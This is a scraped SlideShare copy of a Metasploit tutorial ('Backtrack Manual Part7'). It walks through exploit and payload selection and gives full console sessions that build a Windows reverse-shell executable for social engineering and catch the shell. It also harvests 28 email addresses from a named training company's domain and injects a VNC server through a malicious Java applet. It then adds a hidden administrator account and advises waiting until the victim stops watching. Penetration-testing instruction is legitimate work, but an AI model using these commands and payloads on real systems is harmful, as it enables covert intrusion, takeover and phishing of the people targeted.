SlideShare a Scribd company logo
Project Report<br />-459105253365on<br />-22459952540<br />Project  by - Nutan Kumar Panda<br />Technology Evangelist ISEH<br />R&D - ATL Guwahati<br />Exploitation<br />Let us now begin the core process of the framework—selecting, configuring, and executing an exploit.<br />Selecting the Exploit<br />The list of exploits available with each version and revision of Metasploit continues to grow. On an average, two to three new exploits are added every month,<br />Sometimes even more. Prior to selecting which exploit you would like to run, it is assumed that you have identified the target system, and have run a port scanner such as Nmap to identify open ports, fingerprint the remote operating system, and also to identify the services running on the open ports. You would either then run a vulnerability scanner such as Nessus to determine vulnerabilities in those services, or you could directly look into the exploit database of Metasploit and see if it has any exploits available for the service you are targeting.<br />Listing all available exploits<br />Selecting a Specific Exploit<br />As you can see, the prompt has changed to reflect the name of the selected exploit. Issuing the help command at this stage, shows us the same options that were available at the earlier prompt, but also some additional exploit-specific options as shown in the following<br />Example :<br />Exploit Commands<br />================<br />Command Description<br />Check Check to see if a target is vulnerable<br />exploit Launch an exploit attempt<br />rcheck Reloads the module and checks if the target is vulnerable<br />rexploit Reloads the module and launches an exploit attempt<br />Selecting the Target<br />Each exploit available within the MSF can possibly work against multiple operating systems with different service pack or patch levels. Often, all that is required to make the same exploit work against different operating system versions is to change the return address. This greatly increases the effectiveness of the exploit.To see which targets this exploit works against, we issue the show targets command.<br />Listing Possible Targets for This Exploit<br />Selecting the Payload<br />Once the exploit and the specific target have been selected, the next step is to choose which payload you would like to execute should the exploit execute successfully. Payloads are available based on the selected exploit. For instance, since we have selected a Windows exploit, the show payloads command will display payloads that work on Windows systems<br />Payloads<br />As of version 3.3, Metasploit contains 192 different payloads. This may sound like a lot, but there are really only seven types of payloads. The large number of payloads is caused by small changes required in the actual shellcode in order to handle various use cases or target platforms. The seven “logical” payloads that Metasploit provides are described next.<br />VNC injection (windows/vncinject)<br />Injects a VNC DLL into the target computer’s memory and runs a temporary VNC server. By using this payload, you gain full access to the target’s desktop, allowing you to move their mouse cursor and interact with Windows in a fully graphical fashion. Because most Windows functionality is exposed through the graphical interface, this is a much easier way to interact with the target computer than a command-line shell. Particularly if you come from a Unix background, trying to do anything productive with the Windows shell can be extremely frustrating.<br />File execution (windows/upexec)<br />Uploads a file to the target computer and executes it. Using this payload allows for very quick and efficient installation of backdoors or rootkits.<br />Interactive shell (shell)<br />Provides you with interactive (i.e., you type commands and see results in real time) shell access to the remote computer. For operating systems with powerful shells (BSD, Linux, OS X, Solaris), this is a very useful payload that lets you easily take full control of the target. Before Metasploit, almost all exploits provided shell access, which is where the term shellcode came from (i.e., code that provides a shell).<br />Command execution<br />Runs a single command on the target computer. As with the shell payload, this is<br />more powerful on a Unix target than on a Windows target. This payload’s benefit<br />is that it doesn’t require any user interaction (similar to the file execution payload)<br />and so is ideal for automation. Using msfcli and the command 'echo \"
patch me\"
 | sendmail youremailaddress', you could easily scan an entire network’s worth of machines in bulk and receive email from any of the machines that were susceptible to attack.<br />DLL injection<br />Injects a custom DLL into the memory of the target process, allowing you to add your own code to that of the code you just exploited. This is very advanced functionality and is only used by the most experienced Metasploit users, who need<br />highly customized behavior. This payload is automatically used to provide the VNC injection and Meterpreter payloads.<br />Add user<br />Adds a new user to the system with a custom username and password. When used against a Windows target, it adds the user to the Administrator’s group, giving you full system access. When used against a Linux target, the user is added with UID 0 granting full superuser access.<br />Meterpreter<br />This payload, which is only available for Windows, provides a rich commandline<br />environment for interaction with the target system.<br />There are three different types of payload module types in Metasploit: Singles, Stagers, and Stages. These different types allow for a great deal of versatility and can be useful across numerous types of scenarios. Whether or not a payload is staged, is represented by '/' in the payload name. For example,<br />\"
windows/shell_bind_tcp\"
 is a single payload, with no stage whereas <br />\"
windows/shell/bind_tcp\"
 consists of a stager (bind_tcp) and a stage (shell).<br />Singles<br />Singles are payloads that are self-contained and completely standalone. A Single payload can be something as simple as adding a user to the target system or running calc.exe.<br />Stagers<br />Stagers setup a network connection between the attacker and victim and are designed to be small and reliable. It is difficult to always do both of these well so the result is multiple similar stagers. Metasploit will use the best one when it can and fall back to a less-preferred one when necessary.<br />Windows NX vs NO-NX Stagers<br />Reliability issue for NX CPUs and DEP.
NX stagers are bigger (VirtualAlloc).
Default is now NX + Win7 compatible.Stages<br />Stages are payload components that are downloaded by Stagers modules. The various payload stages provide advanced features with no size limits such as Meterpreter, VNC Injection, and the iPhone 'ipwn' Shell. Payload stages automatically use 'middle stagers'<br />A single recv() fails with large payloads
The stager receives the middle stager
The middle stager then performs a full download
Also better for RWXOnce again, information about specific payloads is available by issuing the info <payload_name> command. Here we decide to select the payload, which allows us to bind the remote shell to our system as shown in the following example:<br />We select this payload by issuing the set PAYLOAD windows/shell_reverse_tcp command.<br />Setting the Options<br />Now we have our exploit, target, and payload set. We need to determine what other information Metasploit needs before it can begin launching the exploit. To do this, we issue the show options command, as shown in Figure 1.12.We can also use the show advanced options command to determine all possible options that can be set.<br />Options That Are Available for This Exploit<br />The column Required tells us those options that are absolutely necessary. Here we will need to set our options as follows:<br />RHOST = 192.168.1.100, which is the target to be attacked
LHOST = 192.168.1.10, which is the system on which Metasploit is executing,and where we want the remote command shell to connect back to.<br />Hidden Options<br />While the most common options are displayed by show options, some of the more<br />advanced options are not. Three common types of hidden options are the target,<br />evasion, and advanced options. If you want to see these options, you can either type<br />show optiontype or use the info command. For example, here’s how you can see and modify the advanced options for an exploit or payload:<br />msf exploit(ms08_067_netapi) > show advanced<br />Exploit<br />Once everything is set, there are two options available. You could issue the check command, which doesn’t actually exploit the target, but only tries to see if it might be vulnerable or not. Not all exploits support this command, and the results might not be very reliable. The other option is to simply go ahead and run the exploit by issuing the exploit command. In this case, we selected the payload as the reverse shell, which means the command prompt of the remote system would be connected back to our system on TCP port 4444. Thus, if the exploit is successful, we could now issue any commands to be executed on the remote system. we execute the<br />c:\>ipconfig command to check the ip of victim..<br />Besides the reverse command shell payload, other interesting payload options include the Meterpreter, VNC DLL Inject, and PassiveX payloads<br />Buffer Overflow<br />msf > show exploits<br />msf > use ie_vml_rectfill<br />msf ie_vml_rectfill >show options<br />Exploit:Name Default Description-------- -------- ------- ----------------------------optionalHTTPHOST 0.0.0.0The local HTTP listener hostrequired HTTPPORT 8080 The local HTTP listener port <br />Target: Windows NT 4.0 -> Windows 2003 SP1<br />msf ie_vml_rectfill > show payloads<br />msf ie_vml_rectfill>set PAYLOAD win32_exec<br />PAYLOAD -> win32_exec<br />msf ie_vml_rectfill(win32_exec)>show options<br />msf ie_vml_rectfill(win32_exec)>set HTTPHOST 192.168.0.1<br />msf ie_vml_rectfill(win32_exec)>set HTTPPORT 8080<br />msf ie_vml_rectfill(win32_exec)>set CMD calc.exe<br />msf ie_vml_rectfill(win32_exec)>exploit<br />on the victim side<br />in the address bar of ie type http://192.168.0.1:8080<br />Metasploit email collector<br />msf > gather/search_email_collector<br />[-] Unknown command: gather/search_email_collector.<br />msf > use gather/search_email_collector<br />msf auxiliary(search_email_collector) > show options<br />Module options:<br /> Name          Current Setting  Required  Description<br /> ----          --------------  --------  -----------<br /> DOMAIN                          yes       The domain name to locate email addresses for<br /> OUTFILE                         no        A filename to store the generated email list<br /> SEARCH_BING    true             yes       Enable Bing as a backend search engine<br /> SEARCH_GOOGLE  true             yes       Enable Google as a backend search engine<br /> SEARCH_YAHOO   true             yes       Enable Yahoo! as a backend search engine<br />msf auxiliary(search_email_collector) > set DOMAIN appintraining.com<br />DOMAIN => appintraining.com<br />msf auxiliary(search_email_collector) > run<br />[*] Harvesting emails .....<br />[*] Searching Google for email addresses from appintraining.com<br />[*] Extracting emails from Google search results...<br />[*] Searching Bing email addresses from appintraining.com<br />[*] Extracting emails from Bing search results...<br />[*] Searching Yahoo for email addresses from appintraining.com<br />[*] Extracting emails from Yahoo search results...<br />[*] Located 28 email addresses for appintraining.com<br />[*]     .center@appintraining.com<br />[*]     .jayngr.counselor@appintraining.com<br />[*]     Pune.kothrud.councellor@appintraining.com<br />[*]     Pune.kothrud.director@appintraining.com<br />[*]     amritsar.kpark@appintraining.com<br />[*]     bangalore.jayngr.counselor@appintraining.com<br />[*]     bangalore.jayngr.trainer@appintraining.com<br />[*]     bangalore.srd.center@appintraining.com<br />[*]     baroda.shrenikpark@appintraining.com<br />[*]     bhilai.cvcentre@appintraining.com<br />[*]     calicut.eranhi.placement@appintraining.com<br />[*]     chennai.annasalai.director@appintraining.com<br />[*]     counselor@appintraining.com<br />[*]     delhi_pitampura@appintraining.com<br />[*]     faridabad.sec15@appintraining.com<br />[*]     international@appintraining.com<br />[*]     jabalpur.civillines@appintraining.com<br />[*]     jayngr.counselor@appintraining.com<br />[*]     kanpur.kakadeo@appintraining.com<br />[*]     karad.satara@appintraining.com<br />[*]     karnal.sec13@appintraining.com<br />[*]     mohali.phase8b@appintraining.com<br />[*]     mumbai.grantroad.counselor@appintraining.com<br />[*]     nagpur.bajajnagar@appintraining.com<br />[*]     noida.sector2@appintraining.com<br />[*]     punjabibagh.nwa.center@appintraining.com<br />[*]     rajkot.kalawadroad@appintraining.com<br />[*]     shrenikpark@appintraining.com<br />[*] Auxiliary module execution completed<br />Binary payloads<br />Metasploit is full of interesting and useful features. One of these is the ability to generate an executable from a Metasploit payload. This can be very useful in situations such as social engineering, if you can get a user to run your payload for you, there is no reason to go through the trouble of exploiting any software.<br />We will generate a reverse shell payload, execute it on a remote system, and get our shell. To do this we will use the command line tool msfpayload. This command can be used for generating payloads to be used in many locations and offers a variety of output options, from perl to C to raw. We are interested in the executable output, which is provided by the X command.<br />We'll generate a Windows reverse shell executable that will connect back to us on port 31337.  Notice that msfpayload operates the same way as msfcli in that you can append the letter 'O' to the end of the command string to see which options are available to you.<br />root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp O       Name: Windows Command Shell, Reverse TCP Inline    Version: 6479   Platform: Windows       Arch: x86Needs Admin: No Total size: 287Provided by:  vlad902 vlad902@gmail.com Basic options:Name       Current Setting  Required  Description ----       ---------------  --------  ----------- EXITFUNC   seh              yes       Exit technique: seh, thread, process LHOST                       yes       The local address LPORT      4444             yes       The local port <br />Description:Connect back to attacker and spawn a command shell<br />root@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 OName: Windows Command Shell, Reverse TCP InlineVersion: 6479Platform: WindowsArch: x86Needs Admin: NoTotal size: 287<br />Provided by:vlad902 vlad902@gmail.com<br />Basic options:Name       Current Setting  Required  Description ----       ---------------  --------  ----------- EXITFUNC   seh              yes       Exit technique: seh, thread, process LHOST      192.168.0.1      yes       The local address LPORT      31337            yes       The local port Description:Connect back to attacker and spawn a command shellroot@bt4:/pentest/exploits/framework3# ./msfpayload windows/shell_reverse_tcp LHOST=192.168.0.1 LPORT=31337 X > /tmp/1.exeCreated by msfpayload (http://www.metasploit.com).Payload: windows/shell_reverse_tcpLength: 287Options: LHOST=192.168.0.1,LPORT=31337root@bt:/pentest/exploits/framework3# file /tmp/1.exe/tmp/1.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386 32-bitNow we see we have a windows executable ready to go. Now, we will use 'multi/handler'  which is a stub that handles exploits launched outside of the framework.root@bt4:/pentest/exploits/framework3# ./msfconsole<br />                ##                          ###           ##    ## ##  ##  #### ###### ####  #####   #####    ##    ####        ############# ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ######### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    #### # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ####   ##  #### ###   #####   #####     ##   ####   ####   #### ###                                      ##       =[ metasploit v3.3-rc1 [core:3.3 api:1.0]+ -- --=[ 371 exploits - 234 payloads+ -- --=[ 20 encoders - 7 nops       =[ 149 auxmsf > use exploit/multi/handlermsf exploit(handler) > show optionsModule options:   Name  Current Setting  Required  Description     ----  ---------------  --------  -----------  <br />Exploit target:   Id  Name                --  ----                0   Wildcard TargetWhen using the 'exploit/multi/handler' module, we still need to tell it which payload to expect so we configure it to have the same settings as the executable we generated.msf exploit(handler) > set payload windows/shell/reverse_tcppayload => windows/shell/reverse_tcpmsf exploit(handler) > show optionsModule options:   Name  Current Setting  Required  Description   ----  ---------------  --------  -----------Payload options (windows/shell/reverse_tcp):   Name      Current Setting  Required  Description   ----      ---------------  --------  -----------   EXITFUNC  thread           yes       Exit technique: seh, thread, process   LHOST                      yes       The local address   LPORT     4444             yes       The local portExploit target:   Id  Name   --  ----   0   Wildcard Target  msf exploit(handler) > set LHOST 192.168.0.1LHOST => 192.168.0.1msf exploit(handler) > set LPORT 31337LPORT => 31337msf exploit(handler) >Now that we have everything set up and ready to go, we run 'exploit' for the multi/handler and execute our generated executable on the victim. The multi/handler handles the exploit for us and presents us our shell.msf exploit(handler) > exploit[*] Handler binding to LHOST 0.0.0.0[*] Started reverse handler[*] Starting the payload handler...[*] Sending stage (474 bytes)[*] Command shell session 2 opened (192.168.0.1:31337 -> 172.16.104.128:1150)Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.C:\Documents and Settings\Students\My Documents><br />Injecting a VNC server into a remote computer<br />We will deploy a VNC server on the remote machine and establish a reverse tcp tunnel back to our machine. In doing so we will be able to view the desktop of the remote machine and do whatever we desire (with the privileges supplied to us by the exploited user account, of course).<br />We need access to the remote computer and for that purpose we'll be using java applet client-side infection (exploit/multi/browser/java_signed_applet) again. But this time the payload will be windows/vncinject/reverse_tcp which reflectively injects a VNC DLL (our server) into memory. The technique of reflective DLL injection is explained in more detail here but I'll give a short outline. Previously, one would force the Windows loader to load the DLL into memory. Unfortunately, this is not the best way of doing things because it requires somewhat interaction with the base system. So in order to minimize this interaction reflective DLL injection was introduced by Stephen Fewer. Instead of using the Windows loader the DLL now contains a minimal Portable Executable (PE) file loader, which it employs to load itself into memory.<br />So let's fire up msfconsole, start up the wicked web server, and wait for the victim to be caught by the trap:<br />msf > use exploit/multi/browser/java_signed_applet<br />msf exploit(java_signed_applet) > set payload windows/vncinject/reverse_tcp<br />payload => windows/vncinject/reverse_tcp<br />msf exploit(java_signed_applet) > set lhost 192.168.1.2<br />lhost => 192.168.1.2<br />msf exploit(java_signed_applet) > exploit<br />[*] Exploit running as background job.<br />[*] Started reverse handler on 192.168.1.2:4444 <br />[*] Using URL: http://0.0.0.0:8080/Gs4BvRDrOLSt<br />[*]  Local IP: http://192.168.1.2:8080/Gs4BvRDrOLSt<br />[*] Server started.<br />When the victim accepts to load the applet this is what we'll see:<br />[*] Handling request from 192.168.1.2:63340...<br />[*] Generated executable to drop (37888 bytes).<br />[*] Using static, signed jar.  Ready to send.<br />[*] Sending SiteLoader.jar to 192.168.1.2:63345.  Waiting for user to click 'accept'...<br />[*] Sending SiteLoader.jar to 192.168.1.2:63345.  Waiting for user to click 'accept'...<br />[*] Sending stage (445440 bytes) to 192.168.185.129<br />[*] VNC Server session 1 opened (192.168.1.2:4444 -> 192.168.185.129:1080) at Thu May 27 15:40:34 +0200 2010<br />[*] Starting local TCP relay on 127.0.0.1:5900...<br />[*] Local TCP relay started.<br />Everything is ready and we are in business! All that's left to do is to point a VNC viewer towards our local relay in order to actually see and control the remote desktop. In the following picture you can see the result (the virtual machine running Windows is to the left and the VNC viewer to the right):<br />Our finishing touch is to create a new user \"
reaper\"
 and add him to the group of administrators.. In retrospect It might alarm the victim when a \"
Metasploit Courtesy Shell\"
 pops up. You can disable this by setting the option DisableCourtesyShell to true, though. Also, because the user used the browser just prior to our infection he/she would definitely notice if we suddenly took over the control of the machine. It is therefore crucial to wait until the path is clear (if that ever happens). Another way of gaining access, in opposition to java applet infection, would be preferable because it then doesn't matter if the user is logged in at the time but be sure you don't disable the courtesy shell in that scenario!<br />
Backtrack Manual Part7
Backtrack Manual Part7
Backtrack Manual Part7
Backtrack Manual Part7
Backtrack Manual Part7
Backtrack Manual Part7
Backtrack Manual Part7
Backtrack Manual Part7
Backtrack Manual Part7
Backtrack Manual Part7
Backtrack Manual Part7

More Related Content

DOCX
Backtrack Manual Part6
PDF
24 33 -_metasploit
PDF
Metasploit Basics
PDF
Metasploit Humla for Beginner
DOCX
ARMITAGE-THE CYBER ATTACK MANAGEMENT
PDF
Linux host review
PPT
Writing Metasploit Plugins
DOC
Exploit Frameworks
Backtrack Manual Part6
24 33 -_metasploit
Metasploit Basics
Metasploit Humla for Beginner
ARMITAGE-THE CYBER ATTACK MANAGEMENT
Linux host review
Writing Metasploit Plugins
Exploit Frameworks

What's hot (20)

PDF
Armitage – The Ultimate Attack Platform for Metasploit
PDF
Experimentos lab
PPTX
Metasploit
PPTX
Intro to exploits in metasploitand payloads in msfvenom
PDF
Wissbi osdc pdf
PPTX
Client side exploits
PDF
Privileges Escalation by Exploiting Client-Side Vulnerabilities Using Metasploit
PDF
Exploiting Client-Side Vulnerabilities and Establishing a VNC Session
PDF
Linux System Monitoring basic commands
PPTX
Auditing System Password Using L0phtcrack
PPTX
Dumping and Cracking SAM Hashes to Extract Plaintext Passwords
PDF
Install lic
PDF
Porting FreeRTOS on OpenRISC
PDF
Reverse engineering – debugging fundamentals
PPTX
FreeRTOS
ODP
Linux monitoring
PDF
Advanced SQL injection to operating system full control (short version)
PPT
Laboratory exercise - Network security - Penetration testing
PDF
Hernan Ochoa - WCE Internals [RootedCON 2011]
KEY
Metasploit @ 2010 Utah Open Source Conference
Armitage – The Ultimate Attack Platform for Metasploit
Experimentos lab
Metasploit
Intro to exploits in metasploitand payloads in msfvenom
Wissbi osdc pdf
Client side exploits
Privileges Escalation by Exploiting Client-Side Vulnerabilities Using Metasploit
Exploiting Client-Side Vulnerabilities and Establishing a VNC Session
Linux System Monitoring basic commands
Auditing System Password Using L0phtcrack
Dumping and Cracking SAM Hashes to Extract Plaintext Passwords
Install lic
Porting FreeRTOS on OpenRISC
Reverse engineering – debugging fundamentals
FreeRTOS
Linux monitoring
Advanced SQL injection to operating system full control (short version)
Laboratory exercise - Network security - Penetration testing
Hernan Ochoa - WCE Internals [RootedCON 2011]
Metasploit @ 2010 Utah Open Source Conference
Ad

Similar to Backtrack Manual Part7 (20)

PPTX
Metasploit - Basic and Android Demo
PDF
Reverse engineering - Shellcodes techniques
PPTX
Metasploit seminar
DOCX
Network and Internet Security.docx
PPTX
Computer Science Assignment Help
PPT
Ch04 system administration
DOCX
P3.docx
DOCX
Factors Affecting the System Safety || Linux
PPTX
Finalppt metasploit
PPT
Intrusion Discovery on Windows
PPTX
Penetration Testing and Intrusion Detection System
PPTX
The Veil-Framework
PDF
NoGUI maXbox Starter70
PPTX
Pentesting with linux
PPTX
Metasploit
PDF
Install websphere message broker 8 RHEL 6 64 bits
DOCX
unit 2 Intoduction to Tools and Platforms.docx
PPTX
Metasploit (Module-1) - Getting Started With Metasploit
Metasploit - Basic and Android Demo
Reverse engineering - Shellcodes techniques
Metasploit seminar
Network and Internet Security.docx
Computer Science Assignment Help
Ch04 system administration
P3.docx
Factors Affecting the System Safety || Linux
Finalppt metasploit
Intrusion Discovery on Windows
Penetration Testing and Intrusion Detection System
The Veil-Framework
NoGUI maXbox Starter70
Pentesting with linux
Metasploit
Install websphere message broker 8 RHEL 6 64 bits
unit 2 Intoduction to Tools and Platforms.docx
Metasploit (Module-1) - Getting Started With Metasploit
Ad

More from Nutan Kumar Panda (14)

PPTX
Pentesting ReST API
PPTX
Dark Arts Of Social Engineering
PPTX
OSINT Black Magic: Listen who whispers your name in the dark!!!
PPTX
Rapid Android Application Security Testing
PDF
Win 8 password cracking
DOCX
Backtrack Manual Part10
DOCX
Backtrack Manual Part9
DOCX
Backtrack Manual Part8
DOCX
Backtrack Manual Part5
DOCX
Backtrack Manual Part4
DOCX
Backtrack Manual Part3
DOCX
Backtrack Manual Part2
DOCX
Backtrack manual Part1
DOCX
Google Hack
Pentesting ReST API
Dark Arts Of Social Engineering
OSINT Black Magic: Listen who whispers your name in the dark!!!
Rapid Android Application Security Testing
Win 8 password cracking
Backtrack Manual Part10
Backtrack Manual Part9
Backtrack Manual Part8
Backtrack Manual Part5
Backtrack Manual Part4
Backtrack Manual Part3
Backtrack Manual Part2
Backtrack manual Part1
Google Hack

Recently uploaded (20)

PPTX
Week 4 Term 3 Study Techniques revisited.pptx
PDF
Abdominal Access Techniques with Prof. Dr. R K Mishra
PDF
Origin of periodic table-Mendeleev’s Periodic-Modern Periodic table
PPTX
Introduction to Child Health Nursing – Unit I | Child Health Nursing I | B.Sc...
PDF
FourierSeries-QuestionsWithAnswers(Part-A).pdf
PDF
TR - Agricultural Crops Production NC III.pdf
PDF
Saundersa Comprehensive Review for the NCLEX-RN Examination.pdf
PDF
BÀI TẬP BỔ TRỢ 4 KỸ NĂNG TIẾNG ANH 9 GLOBAL SUCCESS - CẢ NĂM - BÁM SÁT FORM Đ...
PDF
RMMM.pdf make it easy to upload and study
PPTX
Cell Structure & Organelles in detailed.
PDF
O5-L3 Freight Transport Ops (International) V1.pdf
PDF
102 student loan defaulters named and shamed – Is someone you know on the list?
PDF
2.FourierTransform-ShortQuestionswithAnswers.pdf
PDF
Mark Klimek Lecture Notes_240423 revision books _173037.pdf
PDF
Supply Chain Operations Speaking Notes -ICLT Program
PPTX
Renaissance Architecture: A Journey from Faith to Humanism
PDF
01-Introduction-to-Information-Management.pdf
PPTX
PPT- ENG7_QUARTER1_LESSON1_WEEK1. IMAGERY -DESCRIPTIONS pptx.pptx
PPTX
PPH.pptx obstetrics and gynecology in nursing
PPTX
The Healthy Child – Unit II | Child Health Nursing I | B.Sc Nursing 5th Semester
Week 4 Term 3 Study Techniques revisited.pptx
Abdominal Access Techniques with Prof. Dr. R K Mishra
Origin of periodic table-Mendeleev’s Periodic-Modern Periodic table
Introduction to Child Health Nursing – Unit I | Child Health Nursing I | B.Sc...
FourierSeries-QuestionsWithAnswers(Part-A).pdf
TR - Agricultural Crops Production NC III.pdf
Saundersa Comprehensive Review for the NCLEX-RN Examination.pdf
BÀI TẬP BỔ TRỢ 4 KỸ NĂNG TIẾNG ANH 9 GLOBAL SUCCESS - CẢ NĂM - BÁM SÁT FORM Đ...
RMMM.pdf make it easy to upload and study
Cell Structure & Organelles in detailed.
O5-L3 Freight Transport Ops (International) V1.pdf
102 student loan defaulters named and shamed – Is someone you know on the list?
2.FourierTransform-ShortQuestionswithAnswers.pdf
Mark Klimek Lecture Notes_240423 revision books _173037.pdf
Supply Chain Operations Speaking Notes -ICLT Program
Renaissance Architecture: A Journey from Faith to Humanism
01-Introduction-to-Information-Management.pdf
PPT- ENG7_QUARTER1_LESSON1_WEEK1. IMAGERY -DESCRIPTIONS pptx.pptx
PPH.pptx obstetrics and gynecology in nursing
The Healthy Child – Unit II | Child Health Nursing I | B.Sc Nursing 5th Semester

Backtrack Manual Part7

  • 1. Project Report<br />-459105253365on<br />-22459952540<br />Project by - Nutan Kumar Panda<br />Technology Evangelist ISEH<br />R&D - ATL Guwahati<br />Exploitation<br />Let us now begin the core process of the framework—selecting, configuring, and executing an exploit.<br />Selecting the Exploit<br />The list of exploits available with each version and revision of Metasploit continues to grow. On an average, two to three new exploits are added every month,<br />Sometimes even more. Prior to selecting which exploit you would like to run, it is assumed that you have identified the target system, and have run a port scanner such as Nmap to identify open ports, fingerprint the remote operating system, and also to identify the services running on the open ports. You would either then run a vulnerability scanner such as Nessus to determine vulnerabilities in those services, or you could directly look into the exploit database of Metasploit and see if it has any exploits available for the service you are targeting.<br />Listing all available exploits<br />Selecting a Specific Exploit<br />As you can see, the prompt has changed to reflect the name of the selected exploit. Issuing the help command at this stage, shows us the same options that were available at the earlier prompt, but also some additional exploit-specific options as shown in the following<br />Example :<br />Exploit Commands<br />================<br />Command Description<br />Check Check to see if a target is vulnerable<br />exploit Launch an exploit attempt<br />rcheck Reloads the module and checks if the target is vulnerable<br />rexploit Reloads the module and launches an exploit attempt<br />Selecting the Target<br />Each exploit available within the MSF can possibly work against multiple operating systems with different service pack or patch levels. Often, all that is required to make the same exploit work against different operating system versions is to change the return address. This greatly increases the effectiveness of the exploit.To see which targets this exploit works against, we issue the show targets command.<br />Listing Possible Targets for This Exploit<br />Selecting the Payload<br />Once the exploit and the specific target have been selected, the next step is to choose which payload you would like to execute should the exploit execute successfully. Payloads are available based on the selected exploit. For instance, since we have selected a Windows exploit, the show payloads command will display payloads that work on Windows systems<br />Payloads<br />As of version 3.3, Metasploit contains 192 different payloads. This may sound like a lot, but there are really only seven types of payloads. The large number of payloads is caused by small changes required in the actual shellcode in order to handle various use cases or target platforms. The seven “logical” payloads that Metasploit provides are described next.<br />VNC injection (windows/vncinject)<br />Injects a VNC DLL into the target computer’s memory and runs a temporary VNC server. By using this payload, you gain full access to the target’s desktop, allowing you to move their mouse cursor and interact with Windows in a fully graphical fashion. Because most Windows functionality is exposed through the graphical interface, this is a much easier way to interact with the target computer than a command-line shell. Particularly if you come from a Unix background, trying to do anything productive with the Windows shell can be extremely frustrating.<br />File execution (windows/upexec)<br />Uploads a file to the target computer and executes it. Using this payload allows for very quick and efficient installation of backdoors or rootkits.<br />Interactive shell (shell)<br />Provides you with interactive (i.e., you type commands and see results in real time) shell access to the remote computer. For operating systems with powerful shells (BSD, Linux, OS X, Solaris), this is a very useful payload that lets you easily take full control of the target. Before Metasploit, almost all exploits provided shell access, which is where the term shellcode came from (i.e., code that provides a shell).<br />Command execution<br />Runs a single command on the target computer. As with the shell payload, this is<br />more powerful on a Unix target than on a Windows target. This payload’s benefit<br />is that it doesn’t require any user interaction (similar to the file execution payload)<br />and so is ideal for automation. Using msfcli and the command 'echo \" patch me\" | sendmail youremailaddress', you could easily scan an entire network’s worth of machines in bulk and receive email from any of the machines that were susceptible to attack.<br />DLL injection<br />Injects a custom DLL into the memory of the target process, allowing you to add your own code to that of the code you just exploited. This is very advanced functionality and is only used by the most experienced Metasploit users, who need<br />highly customized behavior. This payload is automatically used to provide the VNC injection and Meterpreter payloads.<br />Add user<br />Adds a new user to the system with a custom username and password. When used against a Windows target, it adds the user to the Administrator’s group, giving you full system access. When used against a Linux target, the user is added with UID 0 granting full superuser access.<br />Meterpreter<br />This payload, which is only available for Windows, provides a rich commandline<br />environment for interaction with the target system.<br />There are three different types of payload module types in Metasploit: Singles, Stagers, and Stages. These different types allow for a great deal of versatility and can be useful across numerous types of scenarios. Whether or not a payload is staged, is represented by '/' in the payload name. For example,<br />\" windows/shell_bind_tcp\" is a single payload, with no stage whereas <br />\" windows/shell/bind_tcp\" consists of a stager (bind_tcp) and a stage (shell).<br />Singles<br />Singles are payloads that are self-contained and completely standalone. A Single payload can be something as simple as adding a user to the target system or running calc.exe.<br />Stagers<br />Stagers setup a network connection between the attacker and victim and are designed to be small and reliable. It is difficult to always do both of these well so the result is multiple similar stagers. Metasploit will use the best one when it can and fall back to a less-preferred one when necessary.<br />Windows NX vs NO-NX Stagers<br />Reliability issue for NX CPUs and DEP.
  • 2. NX stagers are bigger (VirtualAlloc).
  • 3. Default is now NX + Win7 compatible.Stages<br />Stages are payload components that are downloaded by Stagers modules. The various payload stages provide advanced features with no size limits such as Meterpreter, VNC Injection, and the iPhone 'ipwn' Shell. Payload stages automatically use 'middle stagers'<br />A single recv() fails with large payloads
  • 4. The stager receives the middle stager
  • 5. The middle stager then performs a full download
  • 6. Also better for RWXOnce again, information about specific payloads is available by issuing the info <payload_name> command. Here we decide to select the payload, which allows us to bind the remote shell to our system as shown in the following example:<br />We select this payload by issuing the set PAYLOAD windows/shell_reverse_tcp command.<br />Setting the Options<br />Now we have our exploit, target, and payload set. We need to determine what other information Metasploit needs before it can begin launching the exploit. To do this, we issue the show options command, as shown in Figure 1.12.We can also use the show advanced options command to determine all possible options that can be set.<br />Options That Are Available for This Exploit<br />The column Required tells us those options that are absolutely necessary. Here we will need to set our options as follows:<br />RHOST = 192.168.1.100, which is the target to be attacked
  • 7. LHOST = 192.168.1.10, which is the system on which Metasploit is executing,and where we want the remote command shell to connect back to.<br />Hidden Options<br />While the most common options are displayed by show options, some of the more<br />advanced options are not. Three common types of hidden options are the target,<br />evasion, and advanced options. If you want to see these options, you can either type<br />show optiontype or use the info command. For example, here’s how you can see and modify the advanced options for an exploit or payload:<br />msf exploit(ms08_067_netapi) > show advanced<br />Exploit<br />Once everything is set, there are two options available. You could issue the check command, which doesn’t actually exploit the target, but only tries to see if it might be vulnerable or not. Not all exploits support this command, and the results might not be very reliable. The other option is to simply go ahead and run the exploit by issuing the exploit command. In this case, we selected the payload as the reverse shell, which means the command prompt of the remote system would be connected back to our system on TCP port 4444. Thus, if the exploit is successful, we could now issue any commands to be executed on the remote system. we execute the<br />c:\>ipconfig command to check the ip of victim..<br />Besides the reverse command shell payload, other interesting payload options include the Meterpreter, VNC DLL Inject, and PassiveX payloads<br />Buffer Overflow<br />msf > show exploits<br />msf > use ie_vml_rectfill<br />msf ie_vml_rectfill >show options<br />Exploit:Name Default Description-------- -------- ------- ----------------------------optionalHTTPHOST 0.0.0.0The local HTTP listener hostrequired HTTPPORT 8080 The local HTTP listener port <br />Target: Windows NT 4.0 -> Windows 2003 SP1<br />msf ie_vml_rectfill > show payloads<br />msf ie_vml_rectfill>set PAYLOAD win32_exec<br />PAYLOAD -> win32_exec<br />msf ie_vml_rectfill(win32_exec)>show options<br />msf ie_vml_rectfill(win32_exec)>set HTTPHOST 192.168.0.1<br />msf ie_vml_rectfill(win32_exec)>set HTTPPORT 8080<br />msf ie_vml_rectfill(win32_exec)>set CMD calc.exe<br />msf ie_vml_rectfill(win32_exec)>exploit<br />on the victim side<br />in the address bar of ie type http://192.168.0.1:8080<br />Metasploit email collector<br />msf > gather/search_email_collector<br />[-] Unknown command: gather/search_email_collector.<br />msf > use gather/search_email_collector<br />msf auxiliary(search_email_collector) > show options<br />Module options:<br /> Name Current Setting Required Description<br /> ---- -------------- -------- 